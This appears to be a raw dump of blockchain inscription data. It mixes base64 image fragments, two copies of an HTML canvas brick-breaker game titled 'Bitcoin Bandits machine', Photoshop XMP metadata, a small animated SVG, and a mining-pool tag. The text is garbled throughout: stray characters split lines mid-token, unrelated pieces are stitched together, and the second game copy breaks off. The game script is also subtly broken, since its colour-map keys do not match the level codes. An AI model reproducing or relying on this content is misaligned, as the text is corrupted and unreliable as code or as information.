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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></caM
nvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","YM
","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.widM
th/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSiM
ze){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}contextM
.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}elsL
e if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:M
xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmpMM:DocumentID="xmp.did:7D79AB4E9F6411ED9B0BDB0B9C2B559A" xmpMM:InstanceID="xmp.iid:ac7de6cd-3431-44cc-b2da-2cf503f7715b" xmpMM:OriginalDocumentID="xmp.did:7D79AB4E9F6411ED9B0BDB0B9C2B559A" xmp:CreatorTool="Adobe Photoshop CC 2019 (Macintosh)" xmp:CreateDate="2023-02-14T19:25:08+08:00" xmp:ModifyDate="2023-02-15T12:19:33+08:00" xmp:MetadataDate="2023-02-15T12:19:33+08:00" dc:format="M
image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:13D403819F6311ED9B0BDB0B9C2B559A" stRef:documentID="xmp.did:13D403829F6311ED9B0BDB0B9C2B559A"/> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:ac7de6cd-3431-44cc-b2da-2cf503f7715b" stEvt:when="2023-02-15T12:19:33+08:00" stEvt:softwareAgent="Adobe Photoshop CC 2019 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmM
eta> <?xpacket end="r"?>vm
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
c/Foundry USA Pool #dropgold/	ZPT
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAUtklEQVR4nO3dfbAdZXkA8De1FASMBkghzEAabUHwo5Yg7cwNI4TRFGwTxJrAwDhg2tIWhTIW8wd+gMp0Im1B1I6OE8JQGA3SGaBjLDpGOpL+AcQytZLCtMbgRxCC0fgBjtX0j7B73uTu3j177/l4zjm/3z8+d3fPu2/ulWee8+y7u/OmVqzclwAI59eGPQEAqknQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABB/fqwJ0BcW++/b9hToEemVqwcM
9hSYBRU0QFASNEBQWhzUtjI++pl9ZXzVRfPKeOr8r8043uHzX9Z4zhfPXzDj/sOOeMmM+084rrm2OPG4eQ37G4dITz7VtH/fzAeklL791K9m3P/8T3884/7n9u5pPMfP9v6wcvvWe05r/CxxqaABgpKgAYLS4pgwVe2MvJXRxo6v31PGd/3oY2W85LCjOsc8/4Myvv68bdPGeOQLN7Ua45a1z6SUUvrMx69r9bltH+vEhSv+9AONYyxsGCPXNKeqf8dMit/Nwz+/s9yWj5HPc/Xpn2scj9GjggYISoIGCEqLY0x1szKjPPbRX1YeO/W6F3V9vrrWwuqXvquM79q8tIw/cuE3ux4j397m3Pn26c2V7sY4YP7v2n9MU6ujbrwDxtqwsIzz30Xe8ilaG3XzyT38yNs6x2h3jA0VNEBQKugx0ObCX121PFfdVLxNlfDrD724jB9Od1ZuX9Zw7roKc92MZ243/6ZqvJvxmn4X+Rj5sa+aurSMv7H1tsrzMT5U0ABBSdAAM
QWlxjJBeXPjrl7qLbHmroupr+OnnXl3G+QWy/NhlF7+/63Nf9M7ryrjpVu+6MdrMv814+VhXX/x45+CaW72r1k93cz7GhwoaICgJGiAoLY6A2rQyUhp8O6NK3aqFfAVGOrQT3vXZl6eUqtdDHzxGm3PPVpv5F+uhU0rpyWuf7Xq8A1ap3HlyGf/l+Y/MOEabFR+MFxU0QFASNEBQWhxDFuEmk36qu7FiVKz78PVlvP69H5jhSOg9FTRAUBI0QFBaHAMS+SaTXqi70eO2LW+s3F48M+P0mvFme1PIW244unL73Tf+T9dj5Of+k2t+u4yXVjyV7qI242WrWLr59xXnyR/+X/f7XLfsy43jMXpU0ABBqaB7bBTXMPdC3XrnA2Tb81u8q+RVatUT7Nqeu+lpdm3mn184rHurd9N4+b8v/xZRdet73RP68nGXVB/BiFNBAwQlQQMENW9qxcrZvdKZsV/DnL/y6qqLOk+Gmzr/azN+7vD5L2sc+8XzF8y4/7AjXjLj/hOOM
a64tmp5md+JxjUOkJ59q2t/8n8+3n/rVjPufr3maXeG5vXsaz/GzvT+s3L71ntNSSilNrVjZOAbxqKABgpKgAYKyiqML476GOdfNm7yLr81Af6mgAYKSoAGC0uI4yLivzMhVtTPy1Rq55cuX93s6zMGWLVsqt1u9MdpU0ABBSdAAQU1si8PKjOp2hlZGbFoZk0UFDRCUBA0Q1ES1OPK2xqln3FvGl1/d+Xo46u2MQt1zNHJvfPs3BzUdZuFLt7982jatjMmiggYIaqIq6DrjUjV3I6+aFyw6cYgzoUr+lL4v3b7/f1XNk0sFDRCUBA0QlAQNEJQEDRCUBA0QlAQNEJQEDRCUBA0QlBtVmLW71vu/TzdWr/u/YU+BEaWCBghKggYIyndUWitaG7+/YtWQZzIait+XVgdtqaABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGC8jxo0qbzjqjeccwfluGa2/95M
QLMBCipogKAkaICgtDiGoOlt2EN9NdKOn2c//OvQpgGooAHCkqABgtLiGJC8rbHv3w7t7ChWSuzutBPmvaFz7MDbHUsObT4GGAgVNEBQEjRAUFocPda0QuNgexZtTCmltGD3on5MpytrNv90aOcG6qmgAYKSoAGC0uKYg6p2xr6rOvGe5zvxUZ+qHmPBrst6PKv2PIsDYlJBAwQlQQMEpcXR0gE3nNyU7fjWzJ/7weWdeN4b8udd3DvjsUetH/BNK57FQXB3fuqWMr748iuHOJP+U0EDBKWC7sJsq+YFh1Vv/95bOvHevQtTSinNn//M7CbXa271hjBU0ABBSdAAQWlxtPWt/p+ibs10v7jVG2JSQQMEJUEDBKXFUWO2KzfqzPto3Z7pqzf2fTL73F9Uzyk31/XRbvUmunzt8yRRQQMEJUEDBKXF0WN1rYx9X/jj7gfZ+S+Vm93qDZNFBQ0QlAQNEJQWR0v1qzH2a9XKyGVtjXzlxsB5FgeEoYIGCEoFfZCqtcbzM
ru7EjRVyzQW+tLjhc9n+fZ8cbDXtVm+ISQUNEJQEDRCUFsdBirXGB9zq/ch1nQOe2Vb9wRdaG3lLYtYXDAGSChogLAkaICgtjl55YRXGvi8MeR6zcNOdJ1duX/C+PyvjS7/5N4OaDvACFTRAUBI0QFBaHAcpVm90tXKjT/KVIAN5gl2NPR/6dOeHi7U4YNBU0ABBSdAAQWlx1OlxW2PeuTXP6KiwdOnSMs5vmOlXu+Pqix8v402nf6KM1zxyRV/OB21dfPmVZTxJ7ydUQQMEpYI+SFGlzju35lbvXEWVXVcpf/fkzlrjHc8+XcYnbHs0pZTSBRdc0HKm/aFqJrq8mv7ge64q4/d/pOFh7SNIBQ0QlAQNEJQWR0vzTr9uxv2PPvpoGS9YsKCMX/LWt5bx0c89V8ZFa+PYY48tt33/+9+f4yzbcas3xKSCBghKggYISovjIMW640svvbTclrc1zjvvvMrPFW2JtWvXlts2bNhQxhfs29c5eOHCMsxbG7N1xNP7WxE/M
/c1PNxzZjlu9YbhU0ABBSdAAQWlxpANvpy5aG08/3bmZpK6tkatqVeTtjqZjc9u2dW6Ayd9rmN88k9/2XbQ2ilbHfrfOeI6cW70hJhU0QFASNEBQE9vieOyhVWWcr9jIWxtzlbcyPv+uF5Vxmyfb5ceuPP21Zfz8l0+bduwRr1k6bVtb3bQ1ivZK3hqi3jBfusBoU0EDBCVBAwTlO2qNzZs3l3GbFkj+udw5zy8v4yVLlkyLd+zYUW7L41Zfjw9YxdF/vrpDf6mgAYJSQaeUrr/++jJevHjxjMfWVciF5cuXV27fsmVL5faiWs6r6rb6dav3OPnb2/f/fnf94ifltlvWPlN57O6H39T1uMe8/ouNn8uPobfyh/QXr8LKH+g/6lTQAEFJ0ABBaXGklE587J1lXLx/MH+C3W233VbGdS2MQl0rI7+glq8frrpI2Pbi2yi2Nna/6Y2z+twxX/xS18cWbY2UOq2NRYcc2XyOWbYktDLoNRU0QFASNEBQE9viOPWMe8t4M
3rmrsj3Tb8O+5ppryvjGG2+ccdy27YlbF+5fSXD2joYDx0zRqvjGH/xuuW3FSSvK+NGn/mPasd2oamuk1Glt5NvqNK3i6GblRt3x0IYKGiAoCRogqIltceSq2hLdPKmtF7c6n/1Q81fuXvrA5s4T77pZ0dB3t+c/fK7moNndxFP178u35e2QVra3/FyL4494/SvK+O/bnYUxpIIGCEqCBghKi+MgRWujbuVGL9oag3gK3NZHf1nGa2/4xzJedu1fZUftSSk133wzSq699toyfsUrOu2C+fPnTzt2wYIFZXzOOef0d2Ldyjpexd9ly/33VR46tWLlIGbEEKmgAYJSQde4+ht3lPHMK59Hy0c/s2/atqsumld57GWXXdbv6fTEJZdcUsZ1VXNeLRf27NlTxnfffXcZv/vd7+71FOek7u+wcePGyu2TVFl/8D1XlfE4PcWuoIIGCEqCBghKi6PG8Zt3DXsKPfPjvX9exvnFw0JV2yOl2K2PnTt3Du2c//RE59zzzz+zM
jFc99mQZ5y9+KD73wJtuKred/NrfKeNFf/dHlZ9r0qb1MUltj3GiggYISoIGCGre1IqV1d9vx9DWbD1p/jS7V5/95mFMJ7yp172ocntV62OYbY9etzua2gx15+vX53phXFd85Ks48vcTjgsVNEBQEjRAUFZxUKtqxUdK8W52GUSLoBfnG/Q8c252GU0qaICgJGiAoLQ4aK0XN7sQW7HiKXqrI1+5ceenbkkpjdczOVTQAEGpoOmJNhcUU+pU1vl69AXHn9D7iXVp/YOd50EvOeyoMl59+vTXcNUdW2fH8z/o+tiq8w3K6jW/V8a++cSgggYISoIGCEqLg77KWx91t45Hdtcjb5u2bfWyL5dxN62R/Jiq/VBHBQ0QlAQNEJQWxxxsWtd5F17a+tmuP7fr1k781yf1/w3fzF6xAiOl7lZhMDzF+ue1a84vt23fvr2MH//K/WX80iNfXMY/+slz07bt3LW7jH/5W6/q+Vy7pYIGCEqCBghKi6MLta2MrbMbb9E7OvHNM
t+7/Ewyj1TGKqyoGrV9tjarVISlZ3dFPVW2NfHu+LQoVNEBQEjRAUFocvTZ1YRnuWttph+RtjVyxvWh1pNTfdkfe1ojwvIXHHlo17CmklFJadsBPe2Y++DunNX+u8piGcQ/63KBtvacTD/opdrd84pkyvvKKhdO25Yr9dcdcecU9ZXzDh77b2XFAV+mQMrr2fcfuDw7Ndh/dOOWBUEEDBCVBAwSlxVGjq5tQsnZGlUUb2rU7Cjc/MZh2RyF/5CdxFO2f6A/N77W61sbs9v9GD2Y0PCpogKBU0D2SV8hVmqrpvKrObwUfhFef/ebBnpBaB17EHeJEBiy/8Ld29WN9P9+Gu07t+zl6QQUNEJQEDRCUFkeP5C2MKm0uEsIk+84TPx72FMJQQQMEJUEDBKXF0SNzXcUB42Dr/ff1YIweTKTR9HkuX768jLds2dK4fRDr01XQAEFJ0ABBaXEAPbNkyZJhT2HWduzYUcb5v6Nu+yCooAGCkqABgtLiqLFm/R1lvGldtqPmM
yXZNN6o0yZ+/MYz3EwLxqKABglJBz0VVNd3FK6+sfQa6oYIGCEqCBghKi6MLrS4Ybm13G3dxcdCFQcbB8Se9Ztq2H37nf4cwk7k59thjy/jnhxw5tHmooAGCkqABgtLiaClvd6SUtT6Wdf+rtOaZSTJ//vxhT6G1xYsXl/ET33t2aPNQQQMEJUEDBKXF0SNrHmzRqjipf/MAxocKGiAoCRogKC0OhuK/vvL5lFJKjz20asgz6b/V66zUYXZU0ABBqaAZmKJqTqlTOedvTM7Xno66M888s4zf8Y79/5lNaiX9a/MXlvGhv/hJGUdZa1zMKcp8cipogKAkaICgtDgYKQ888EBKKaXD/+HwxmNvf03nFuOP3/DKrsbtZuxuxt2+fXvj/CZR3kY45phjyniYLYViTlHmk1NBAwQlQQMEpcUxZJvWXbI/qHlbeB1PxOv48CHV29/+9b1lfEYPx+7FuNANFTRAUBI0QFBaHANStjJSOrCdsXV24+XvO7z51v1/xkltdZz4M
ys6qiif/e+8MR8YaG5qooAGCkqABgtLiiGjqwjLctbbTDsnbGrlie9HqSGmy2h156yFvSaSvz70lUTl2D8aFbqigAYKSoAGC0uLoo9qVG7msnVFl0YZ27Y7CzU9od4zS2FBFBQ0QlAo6iLw6rtNUTedVdX4r+Lh77y9Gc2xoooIGCEqCBghKiyOIvH1Rp81FwnF11lln7Q/u69O4fRgbZksFDRCUBA0QlBZHEL1YxTEJ8vfGNTnllFPK+Ktf/epQxoW5UEEDBCVBAwSlxcFI2rZt20iODW2ooAGCkqABgtLi6KM16+8o403rsh0VT7br5kaVJvnzNybpCXYwrlTQAEGpoIet6jnRXbzyapLWPsOkUkEDBCVBAwSlxTEgbS4Y5tu6aWUUFwcn6cLg0qVLR3JsaEMFDRCUBA0QlBbHEOTtjpT2x5uWtftTTOqa5927d4/UuDAXKmiAoCRogKC0OIJY82DLNsVJ/ZlHdDt37hz2FA6wePHiYU+BMaaCBghKggYISosDM
WtqxY0dlfNZZZw1hNowzFTRAUCpoRlJeuS5ZsmSg587P5yIh/aSCBghKggYISoujpU3rLun8UPUkuhqTemt2vwy6rQHDoIIGCEqCBghKi6NGbStj6+zGyx+8f/OtnV+7dgdQRwUNEJQEDRCUFkevTF2YUkpp19rm9wlWtTu0OkaHW70ZFBU0QFASNEBQWhwHKVdv1N2E8kIro86iDZ393bQ7Cjc/YWXHqPAsjt5bu+b8Mt6+fXvfz7dt27bsp6P7fr7ZUkEDBCVBAwSlxTEHeQujSjftjiLOn9VBvVFpKZxyyinDngJjQAUNEJQKeg7yCrlKm4uEk+DVZ785++nelFJKW7asGs5k+mzjxo1lfOoZ9w5xJsN30vGdi3BnnnlmGecXAzdsumeQU0rpkCNn3J1ftBz43DIqaICgJGiAoLQ45qAXFwknVafdMf5f/w9s7VD49/98fNhTSCml9MT3nh32FGqpoAGCkqABgtLiYKh8/Z8sg7iNuxeizFMFDRCUBA0QlBbHM
QdasvyOllNKmddnGmifbNd2o0o3iFm9PsAMOpoIGCEqCBghKi6Othgf5Nz21DqBbKmiAoFTQNYqLhSl1d8Gw2N5NpZw/+9nFQaCOChogKAkaICgtji7k7Y6UstbHsu5/fdoaQFsqaICgJGiAoLQ45mDNgy1aFSf1bx7AeFJBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwRlHTTQVxs3bqzcPrVi5YBnMrOI81RBAwQlQQMENVEtjvyrytb7V5XxYw8NYzbDcVfVtvUT9X+D0PK/T7QWAIOnggYISoIGCGre1IqV+4Y9CQCmU0EDBCVBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwQlQQMEJUEDBCVBAwQlQQME9f+NlYMGymPnBwAAAABJRU5ErkJggg==" class="backgroM
und"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],[M
